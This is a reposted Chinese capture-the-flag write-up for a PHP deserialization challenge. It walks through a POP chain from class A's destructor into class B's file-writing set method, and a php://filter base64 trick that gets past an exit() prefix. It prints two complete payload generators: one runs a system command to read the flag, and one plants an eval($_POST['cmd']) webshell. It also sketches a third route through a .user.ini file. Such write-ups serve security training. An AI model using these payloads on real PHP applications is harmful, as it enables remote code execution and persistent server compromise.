[2020 新春紅包題]1


0x00 知識點

反序列化 構造pop鏈
改編自
2019全國大學生安全運維賽 EZPOP

0x01解題

題目給了我們源碼

 <?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使緩存文件名隨機
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 創建失敗
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //數據壓縮
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

先貼上師傅鏈接

https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

首先可以看到 序列化A,當A::autosave==false成立時在 __destruct 中調用了A::save()

A::save()中調用了A::store->set(),將A::store賦值為一個B對象,即可調用B::set()。

B::set()可以寫入文件,注意這里:原題中文件名(以及路徑)和文件內容后半部分可控。但是我們此題修改了一下使得文件名隨機,並且比較了后綴並限制了后綴不能為php

 public function getCacheKey(string $name): string {
        // 使緩存文件名隨機
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

文件內容前半部分中,存在一個exit(),會導致寫入的webshell無法執行

利用base64_decode以及php://filter可以繞過

通過php://filter/write=convert.base64-decode將文件內容解碼后寫入,bypass exit。

然后回溯看看$filename和$data是怎么處理的。
$filename:

用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options['prefix'].$name構成filename

$data:

108行拼接前半部分,通過上面的方法bypass。

97行調用B::serialize($value),$value是B::set($name, $value, $expire = null)的參數。

B::serialize($value)調用B::options'serialize'處理了$value。

再看$value:

$value實際是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)實現了一個過濾的功能,A::complete更容易控制,直接寫為shellcode。
由於$value是一個json字符串,然后,json字符串的字符均不是base64合法字符,通過base64_decode可以直接從json中提取出shellcode。
所以將shellcode經過base64編碼,B::options['serialize']賦值為base64_decode。

跟着師傅鏈接分析了一下,

payload:

直接打命令進去,生成flag文件 獲取flag

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public $cache = [];
    public $complete = true;
    public function __construct () {
        $this->store = new B();
        $this->key = '/../wtz.phtml';
        $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
    }
}
class B{
    public $options = [
        'serialize' => 'system',
        'prefix' => 'sssss',
    ];
}
echo urlencode(serialize(new A()));

payload2:

繞過php后綴:
在做路徑處理的時候,會遞歸的刪除掉路徑中存在的 /. ,所以導致寫入文件成功。

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = '/../wtz.php/.';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>


解法三:
先寫一個圖片馬
再寫一個解析 .user.ini
使圖片馬作為 php 執行
鏈接:

http://althims.com/2020/01/29/buu-new-year/

參考鏈接:

http://althims.com/2020/01/29/buu-new-year/
https://www.suk1.top/2020/01/31/2020新春紅包/
http://www.rayi.vip/2019/11/27/EIS 2019/
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM